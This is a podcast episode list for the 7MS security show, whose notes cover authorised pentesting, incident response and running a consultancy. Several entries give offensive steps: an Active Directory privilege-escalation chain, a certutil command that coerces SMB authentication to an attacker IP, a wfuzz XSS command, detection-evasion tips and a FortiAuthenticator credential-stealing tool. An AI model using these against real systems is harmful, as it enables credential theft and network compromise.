Alle afleveringen
746 afleveringen, van nieuw naar oud
-
7MS #646: Baby's First Incident Response with Velociraptor
18 oktober 2024 · 16 min
Hey friends, today I'm putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment. Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to "phone home" to you by way of GPO scheduled task. The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from Eric Capuano, who also was kind enough to publish a handout to accompany the presentation. And on a personal note, I wanted to share that Velociraptor has got me interested in jumping face first into some tough APT labs provided by XINTRA. More to come on XINTRA's offering, but so far I'm very impressed! Lees meer
-
7MS #645: How to Succeed in Business Without Really Crying - Part 18
14 oktober 2024 · 31 min
Today I do a short travelogue about my trip to Washington, geek out about some cool training I did with Velociraptor, ponder drowning myself in blue team knowledge with XINTRA LABS, and share some thoughts about the conference talk I gave called 7 Ways to Panic a Pentester. Lees meer
-
7MS #644: Tales of Pentest Pwnage – Part 64
4 oktober 2024 · 41 min
Hey! I'm speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester! Today's tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate! It also emphases that cracking NETLM/NETNTLMv1 isn't super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier! Lees meer
-
7MS #643: DIY Pentest Dropbox Tips – Part 11
27 september 2024 · 27 min
Today we continue where we left off in episode 641, but this time talking about how to automatically deploy and install a Ubuntu-based dropbox! I also share some love for exegol as an all-in-one Active Directory pentesting platform.
-
7MS #642: Interview with Ron Cole of Immersive Labs
24 september 2024 · 42 min
Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: Lees meer
VetSec
Fortinet Veterans Program
Immersive Labs Cyber Million
FedVTE
-
7MS #641: DIY Pentest Dropbox Tips – Part 10
13 september 2024 · 28 min
Today we're revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible, Cursor and Level. Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of Light Pentest LITE training! Lees meer
-
7MS #640: Tales of Pentest Pwnage – Part 63
7 september 2024 · 43 min
This was my favorite pentest tale of pwnage to date! There's a lot to cover in this episode so I'm going to try and bullet out the TLDR version here: Lees meer
Sprinkled farmer files around the environment
Found high-priv boxes with WebClient enabled
Added "ghost" machine to the Active Directory (we'll call it GHOSTY)
RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting
Use net.py to add myself to local admin on the victim host
Find a vulnerable service to hijack and have run an evil, TGT-gathering Rubeus.exe – found that Credential Guard was cramping my style!
Pulled the TGT from a host not protected with Credential Guard
Figured out the stolen user's account has some "write" privileges to a domain controller
Use rbcd.py to delegate from GHOSTY and to the domain controller
Request a TGT for GHOSTY
Use getST.py to impersonate CIFS using a domain admin account on the domain controller (important thing here was to specify the DC by its FQDN, not just hostname)
Final move: use the domain admin ccache file to leverage net.py and add myself to the Active Directory Administrators group
-
7MS #639: Tales of Pentest Pwnage - Part 62
3 september 2024 · 7 min
Today's tale of pentest pwnage talks about the dark powers of the net.py script from impacket.
-
7MS #638: Tales of Pentest Pwnage – Part 61
23 augustus 2024 · 33 min
Today we're talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Lees meer
Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them.
Also look at Look at Get-ScheduledTasks
Find ids and passwords easily in Snaffler output with this Snaffler cleaner script
There's a ton of gold to (potentially) be found in SQL servers – check out my notes on using PowerUpSQL to find misconfigs and agent jobs you might able to abuse!
-
7MS #637: BPATTY[RELOADED] Release Party
17 augustus 2024 · 7 min
Hello friends, I'm excited to release BPATTY[RELOADED] into the world at https://bpatty.rocks! – which stands for Brian's Pentesting and Technical Tips for You! It's a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy! Lees meer
-
7MS #636: A Prelude to BPATTY(RELOADED)
12 augustus 2024 · 11 min
Artificial hype alert! I'm working on a NEW version of BPATTY (Brian's Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation. It's weird. But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode). Lees meer
-
7MS #635: Eating the Security Dog Food - Part 7
3 augustus 2024 · 45 min
Today we're talking about eating the security dog food – specifically: Lees meer
Satisfying critical security control #1
Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory
Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)
-
7MS #634: Tales of Pentest Pwnage - Part 60
26 juli 2024 · 33 min
Hi, today's tale of pentest pwnage covers a few wins and one loss: Lees meer
A cool opportunity to drop Farmer "crops" to a domain admin's desktop folder via PowerShell remote session
Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile
Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login
-
7MS #633: How to Create a Security Knowledgebase with Docusaurus
19 juli 2024 · 14 min
Hey friends, we're doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus! It's cool, it's free, it's from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin' in about 5 minutes. Important files include: Lees meer
docusaurus.config.js – for setting the site title and key config settings
sidebars.js – used to create/edit navigation bar menus
/src/css/custom.css – to style the site
-
7MS #632: Tales of Pentest Pwnage – Part 59
12 juli 2024 · 48 min
Today's tale of pentest pwnage includes some fun stuff, including: Lees meer
SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you're ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder.
I'm not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you're on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under.
DonPAPI got an upgrade recently with a focus on evasion!
When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you've got the vmss2core utility, which I couldn't find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps.
Can't RDP into a victim system that you're PSRemote'd into? Maybe RDP is listening on an alternate port! Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber`
And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!
-
7MS #631: Tales of Pentest Pwnage – Part 58
7 juli 2024 · 16 min
Hi friends, today's a tale full of test tips and tools to help you in your adventures in pentesting! Lees meer
SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud'homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds
CMLoot – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares
Snaffler – finds all the interesting SMB shares and juicy file contents
Efflanrs – takes the raw Snaffler log and turns it into an interactive Web app!
RubeusToCcache – a small tool to convert Base64-encoded .kirbi tickets from Rubeus into .ccache files for Impacket
-
7MS #630: Epic Road Trip Served with Security Sprinkles
1 juli 2024 · 45 min
Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Lees meer
Family members who don't care about their personal security
Weakpass – a cool collection of word lists for brute-forcing and spraying that I'd never heard of
Working on two security Webinars for Netwrix (here's part 1: Mastering Password Security & Active Directory Monitoring, and and part 2: Advanced Strategies for SQL Server Protection & Sensitive Information Security)
The moment we though our credit card was stolen at a waterpark
A shameless plug for our fun interview with Stu the recruiter
Some internal pentest tips that have given us some gold in recent assessments
Super fast, spoiler-free movie reviews of Roadhouse, Arcadian, Late Night with the Devil and The Coffee Table
-
7MS #629: Interview with Stu Musil of Ambient Consulting
24 juni 2024 · 46 min
Today we have a fun featured interview with my new friend Stu Musil of Ambient Consulting I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: Lees meer
How do you properly vet a recruiter you don't know, but who offers a job opportunity you're interested in?
What questions should you ask a potential recruiter to get a feel for their level of experience in the industry (hint, if a recruiter doesn't even have a LinkedIn page, that's probably a red flag)
Resume tips:
Finding the right length and tone
Tailoring your resume for each individual job
Highlighting your strengths
Do people still use cover letters when applying to a gig?
Is a "hobbies and interests" section still a good idea on a resume (to show them you're not a robot who works 24/7)?
Lets talk about some horror and/or success stories from the world of recruiting!
-
7MS #628: How to Succeed in Business Without Really Crying – Part 17
15 juni 2024 · 10 min
Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Lees meer
Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don't almost get cancelled like some did with me!)
Tracking domain names, and setting up your own automated rules to notify you well ahead of time when a domain is expiring (maybe that passion project is never gonna happen…time to let those old domains go 🙂
Making a spreadsheet of all important accounts and checking all the auth methods allowed for each account – to prevent attacks such as SIM-swapping
-
7MS #627: Migrating from vCenter to Proxmox – Part 2
10 juni 2024 · 36 min
Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox! Specifically: Lees meer
Getting my first Proxmox-based NUCs out in the field for live engagements!
Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment.
OVHCloud made it super easy to to add Proxmox to those bare-metals with a simple wizard.
I couldn't figure out how to get a Proxmox VM as the main firewall for the whole Proxmox node, but it turns out it helps to RTFM.
When getting a bare-metal OS/hypervisor installed, be careful in that the provider may leave the management ports of that host open to the whole world. In OVH's case, they have a software firewall that can be tuned so that, for example, only you can hit the management ports for the box.
Getting VLANs setup is a snap once the virtual hardware stuff is in place.
-
7MS #626: Web Pentesting Pastiche
31 mei 2024 · 50 min
Hey friends, today we've got a security milkshake episode about Web app pentesting. Specifically we talk about: Lees meer
Burp Suite Enterprise
Caido – a lightweight alternative to Burp
wfuzz – Web fuzzer. Using a proxy:wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt –sc 200 "https://somedomain.com/shopping?&qty=%2FUZZ" -p 10.0.7.11:8080
KNOXSS – for XSS testing – pairs nicely with this wrapper: https://github.com/xnl-h4ck3r/knoxnl
In the tangent dept, I moan about how I hate some things about Proxmox but am also starting to love it.
In the tangent #2 department, I talk about tinnitus and acupuncture!
-
7MS #625: A Peek into the 7MS Mail Bag - Part 4
24 mei 2024 · 44 min
Road trip time! I've been traveling this week doing some fun security projects, and thought all this highway time would be a perfect opportunity to take a dip into the 7MS mail bag! Today's questions include: Lees meer
How do you price internal network penetration tests?
Have you ever had to deal with a difficult client situation, and how did you resolve it?
Are you done going after certs? Spoiler: no – I'm interested in doing the XINTRA labs (not sure if it includes a cert)
Do you provide managed services or just stick with more "one and done" assessment work?
You said the "smart business people" tell you to form reseller partnerships, otherwise you're leaving money on the table – so why don't you?
I'm thinking of starting my own cybersecurity consultancy – what type of insurance do I need to protect me in case of a digital "oops?"
-
7MS #624: Tales of Pentest Pwnage – Part 57
17 mei 2024 · 29 min
Today's tale of pentest pwnage is all about my new favorite attack called SPN-less RBCD. We did a teaser episode last week that actually ended up being a full episode all about the attack, and even step by step commands to pull it off. But I didn't want today's episode to just be "Hey friends, check out the YouTube version of this attack!" so I also cover: Lees meer
Our first first impressions of Burp Enterprise
Why I have a real hard time believing you have to follow all these steps to install Kali on Proxmox
-
7MS #623: Prelude to a Tale of Pentest Pwnage
10 mei 2024 · 25 min
Today's prelude to a tale of pentest pwnage talks about something called "spnless RBCD" (resource-based constrained delegation). The show notes don't format well here in the podcast notes, so head to 7minsec.com to see the notes in all their glory.
-
7MS #622: Migrating from vCenter to Proxmox - Part 1
5 mei 2024 · 17 min
Sadly, the Broadcom acquisition of VMWare has hit 7MinSec hard – we love running ESXi on our NUCs, but ESXi free is no longer available. To add insult to injury, our vCenter lab at OVHcloud HQ got a huge price gouge (due to license cost increase; not OVH's fault). Now we're exploring Proxmox as an alternative hypervisor, so we're using today's episode to kick off a series about the joys and pains of this migration process. Lees meer
-
7MS #621: Eating the Security Dog Food - Part 6
26 april 2024 · 24 min
Today we revisit a series about eating the security dog food – in other words, practicing what we preach as security gurus! Specifically we talk about: Lees meer
We're going to get a third-party assessment on 7MinSec (the business)
Tips for secure email backup/storage
Limiting the retention of sensitive data you store in cloud places
-
7MS #620: Securing Your Mental Health - Part 5
21 april 2024 · 23 min
Today we're talking about tips to deal with stress and anxiety: Lees meer
It sounds basic, but take breaks – and take them in a different place (don't just stay in the office and do more screen/doom-scrolling)
I've never gotten to a place in my workload where I go "Ahhh, all caught up!" so I should stop striving to hit that invisible goal.
Chiropractic and back massages have done wonders for the tightness in my neck and shoulders
For me, video games where you punch and kick things relieves stress as well (including a specific game that's definitely not for kids!)
-
7MS #619: Tales of Pentest Pwnage – Part 56
14 april 2024 · 7 min
We did something crazy today and recorded an episode that was 7 minutes long! Today we talk about some things that have helped us out in recent pentests: Lees meer
When using Farmer to create "trap" files that coerce authentication, I've found way better results using Windows Search Connectors (.searchConnector-ms) files
This matrix of "can I relay this to that" has been super helpful, especially early in engagements
-
7MS #618: Writing Savage Pentest Reports with Sysreptor
5 april 2024 · 38 min
Today's episode is all about writing reports in Sysreptor. It's awesome! Main takeaways: Lees meer
The price is free (they have a paid version as well)!
You can send findings and artifacts directly to the report server using the reptor Python module
Warning: Sysreptor only exports to PDF (no Word version option!)
Sysreptor has helped us write reports faster without sacrificing quality
-
7MS #617: Tales of Pentest Pwnage – Part 55
29 maart 2024 · 36 min
Hey friends, today we've got a tale of pentest pwnage that covers: Lees meer
Passwords – make sure to look for patterns such as keyboard walks, as well as people who are picking passwords where the month the password changed is part of the password (say that five times fast)!
Making sure you go after cached credentials
Attacking SCCM – Misconfiguration Manager is an absolute gem to read, and The First Cred is the Deepest – Part 2 with Gabriel Prud'homme is an absolute gem to see. Also, check out sccmhunter for all your SCCM pwnage needs.
-
7MS #616: Interview with Andrew Morris of GreyNoise
22 maart 2024 · 59 min
Hey friends, today we have a super fun interview with Andrew Morris of GreyNoise to share. Andrew chatted with us about: Lees meer
Young Andrew's early adventures in hacking his school's infrastructure (note: don't try this at home, kids!)
Meeting a pentester for the first time, and getting his first pentesting job
Spinning up a box on the internet, having it get popped instantly, and wondering…"Are all these people trying to hack me?"
Battling through a pentester's least favorite part of the job: THE REPORT!
GreyNoise's origin story
How to build a better honeypot/honeynet
-
7MS #615: Tales of Pentest Pwnage – Part 54
19 maart 2024 · 22 min
Hey friends, sorry I'm so late with this (er, last) week's episode but I'm back! Today is more of a prep for tales of pentest pwnage, but topics covered include: Lees meer
Make sure when you're snafflin' that you check for encrypted/obfuscated logins and login strings – it might not be too tough to decrypt them!
On the defensive side, I've found myself getting *blocked* doing things like SharpHound runs, Snaffler, PowerHuntShares, etc. Look through the readme files for these tools and try cranking down the intensity/threads of these tools and you might fly under the radar.
-
7MS #614: How to Succeed in Business Without Really Crying - Part 16
8 maart 2024 · 36 min
How much fun I had attending and speaking at Netwrix Connect Lees meer
Being a sales guy in conference situations without being an annoying sales guy in conference situations
A recap of the talk I co-presented about high profile breaches and lessons we can learn from them
-
7MS #613: Tales of Pentest Pwnage – Part 53
1 maart 2024 · 33 min
Today's tale of pentest covers: Lees meer
Farming for credentials (don't forget to understand trusted zones to make this happen properly!)
Snaffling for juice file shares
Stealing Kerberos tickets with Rubeus
-
7MS #612: Pentestatonix - Part 2
25 februari 2024 · 32 min
Hello friends, we're still deep in the podcast trenches this quarter and wanted to share some nuggets of cool stuff we've been learning along the way: Lees meer
Snaffler – pairs nicely with PowerHuntShares to find juicy tidbits within file/folder shares
Group3r – helps you find interesting and potentially abusable Group Policy Object configurations
Farmer – totally awesome toolkit for dropping tricky files on shares that will do things like fire up the Webclient service for any system browsing the share (doesn't require admin rights!) or coaxing a system into authenticating with you via HTTP or SMB
-
7MS #611: Pentestatonix
19 februari 2024 · 34 min
Hey friends, sorry for the late episode but I've been deep in the trenches of pentest adventures. I'll do a more formal tale of pentest pwnage when I come up for air, but for now I wanted to share some tips I've picked up from recent engagements: Lees meer
GraphRunner - awesome PowerShell toolkit for interacting with Microsoft Graph API. From a pentesting perspective, it may help you bridge the "gap" between LAN-side AD and Azure and find some goodies - like files with and XSLX extension containing the word password.
PowerUpSQL -I typically use this to make SQL servers cough me up a hash via SMB using stored procedures, but I learned this week that I'll deeeefffffinitely use the Invoke-SQLAudit -Verbose functionality going forward.
-
7MS #610: DIY Pentest Dropbox Tips – Part 9
9 februari 2024 · 20 min
Hey friends, today we cover a funstrating (that's fun + frustrating) issue we had with our DIY pentest dropboxes. TLDL: Lees meer
The preseed file got jacked because I had a bad Kali metapackage in it.
While I was tinkering around with preseed files, I decided it would be more efficient to have the Kali ISO call that preseed file directly over HTTP (rather than make a new ISO every time I made a preseed change). To accomplish that:
Mount the Kali ISO
Explore to isolinux > txt.cfg
Modify the txt.cfg to include a custom boot option that calls your preseed over HTTP. For example:
label install menu label ^Install Yermaum kernel /install.amd/vmlinuz append net.ifnames=0 preseed/url=https://somewebsite/kali.preseed locale=en_US keymap=us hostname=kali777 domain=7min.sec simple-cdd/profiles=kali desktop=xfce vga=788 initrd=/install.amd/initrd.gz --- quiet
-
7MS #609: First Impressions of Sysreptor
2 februari 2024 · 31 min
Hey friends, today is a first impressions episode about Sysreptor, which according to their GitHub page, is a fully customisable, offensive security reporting solution designed for pentesters, red teamers and other security-related people alike. It is easy to stand up with Docker, has built-in MFA and a great hybrid WYSIWYG/code editor. The only scary part? There is no export to Word (insert suspenseful music here!) - your reports just go right to PDF, friends! The killer feature for us, though, is the ability to create reports from the command line and send files, notes and findings to Sysreptor automagically! Lees meer
-
7MS #608: New Tool Release - EvilFortiAuthenticator
26 januari 2024 · 44 min
Hey friends, today our pal Hackernovice joins us for a tool (actually two tools!) release party: Lees meer
EvilFortiAuthenticator - it's like a regular FortiAuthenticator, but evil. This tool allows you to capture the FortiAuthenticator API and subsequently steal the entire device's config, subsequently allowing you to restore the config to a second server and potentially steal cleartext Active Directory creds and SMTP accounts! We talk about
BulletsPassView - a tool that originially allowed us to simply unmask the "hidden" API key in the FortiAuthenticator client (this did NOT work in the latest version of FAC).
Once you get the API key, check out Fortinet's documentation to do fun things like dump the whole config to a file on disk!
After you steal the config and restore it to a fresh FortiAuthenticator, use maintenance mode to reset the admin password.
Once you can adjust the restored config to your liking, try using MITMsmtp to capture email server creds in the clear!
TCMLobbyBBQ - this tool has nothing to do with security, but helps PC players of the Texas Chain Saw Massacre get into lobbies more efficiently.
-
7MS #607: How to Succeed in Business Without Really Crying - Part 15
19 januari 2024 · 40 min
Today we talk about some business-y things like: Lees meer
A pre first impressions opinion on Sysreptor
Why I'm not worried about AI replacing manual pentesting (yet)
My struggle with going "full CEO" vs. staying in the weeds and working on hands-on security projects
-
7MS #606: Hacking OWASP Juice Shop (2024 edition)
12 januari 2024 · 30 min
Today our pals Bjorn Kimminich from OWASP and Paul from Project7 and TheUnstoppables.ai join us as we kick off a series all about hacking the OWASP Juice Shop, which is "probably the most modern and sophisticated insecure web application!" We got a few wins on the Juice Shop score board today: Lees meer
Found the score board
Bullied the chatbot
Fired a DOM XSS
Located a confidential document
Gave the Juice Shop a devastating zero stars review
Fired a DOM XSS which played the OWASP Juice Shop Jingle
-
7MS #605: Navigating the Demands of Tech Leadership with Amanda Berlin of Blumira
5 januari 2024 · 58 min
Today our friend Amanda Berlin, Lead Incident Detection Engineer at Blumira, joins us to talk about being more mentally healthy in 2024! Lees meer
P.S. - did you miss Amanda's past visits to the program? Then check out episode 518, 536 and 588.
Be sure to check out the next edition of Amanda's Defensive Security Handbook when it comes out in later January, 2024!
-
7MS #604: A Two Tool Teaser
2 januari 2024 · 26 min
Today we tease two upcoming tool releases (shooting for Q1, 2024): Lees meer
TCMLobbyBBQ - a Python script for PC players of The Texas Chain Saw Massacre game to help players get out of lobbies and into live games ASAP! The script uses PyAutoGUI to take screenshots of what part of the game you're in, then make appropriate key presses and mouse clicks to get into lobby queues, then alert you when the game actually starts!
EvilFortiAuthenticator - this tool will allow you to steal administrator API tokens from FortiAuthenticator which can lead to full compromise of the physical device.
Happy new year!
-
7MS #603: Monitoring Your Tailscale Network with Uptime Kuma
24 december 2023 · 28 min
Today I look at potentially replacing Splashtop and UptimeRobot (check out our episode about it here) with Tailscale and Uptime Kuma. The missing link (which I'd love some help with) is answering this security question: how can I setup Tailscale so that my 7MinSec testing box can connect to all these NUCs spread around the globe, but those NUCs cannot connect to each other (in case one is compromised)? Got some ideas? Let me know please! Lees meer
-
7MS #602: How to Succeed in Business Without Really Crying - Part 14
15 december 2023 · 45 min
Today we're talkin' business! Specifically: Lees meer
How to (gently) say "no" to (some) client projects
How to (politely) challenge end-of-year deadlines
An idea I'm kicking around in the lab - where I might do away with UptimeRobot and Splashtop in favor of Tailscale and Uptime Kuma
-
7MS #601: Breaking Up With Active Directory
11 december 2023 · 28 min
Today our pal Nate Schmitt (you may remember him from his excellent Dealing with Rejection: A DMARC Discussion Webinar) joins us to talk about breaking up with Active Directory. He covers: Lees meer
Why would you want to consider removing AD from your environment?
What are common items to plan for?
What steps should you take to efficiently plan a migration?
What common challenges or considerations will you face?
-
7MS #600: First Impressions of Using AI on Penetration Tests
1 december 2023 · 23 min
Hey friends, today I share my experience working with ChatGPT, Ollama.ai, PentestGPT and privateGPT to help me pentest Active Directory, as well as a machine called Pilgrimage from HackTheBox. Lees meer
Will AI replace pentesters as we know them today? In my humble opinion: not quite yet. Check out today's episode to hear more, and please join me on Wednesday, December 6 for my Webinar on this topic with Netwrix called Hack the Hackers: Exploring ChatGPT and PentestGPT in Penetration Testing!
-
7MS #599: Baby's First Responsible Disclosure
25 november 2023 · 39 min
Today we talk about our first experience working through the responsible disclosure process after finding vulnerabilities in a security product. We cannot share a whole lot of details as of right now, but wanted to give you some insight into the testing/reporting process thus far, which includes the use of: Lees meer
BulletsPassView
MITMsmtp
mitmproxy
-
7MS #598: Hacking Billy Madison - Part 4
17 november 2023 · 25 min
Today our good buddy Paul and I keep trying to hack the VulnHub machine based on the movie Billy Madison (see part 1 and 2 and 3). In today's final chapter, Paul and I: Lees meer
Find Eric's secret SSH back door
Locate and decrypt a hidden file with Billy's homework
Build wordlists with cewl
Save Billy from the evil clutches of Eric Gordon!!!
-
7MS #597: Let's JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy) with Robert McCurdy
11 november 2023 · 33 min
Today we had a blast talking with Robert McCurdy about JAMBOREE (Java-Android-Magisk-Burp-Objection-Root-Emulator-Easy)! JAMBOREE allows you to quickly spin up a portable Git/Python/Java environment and much more! From a pentesting POV, you can whip up an Android pentesting environment, BloodHound/SharpHound combo, Burp Suite...the list goes on! Lees meer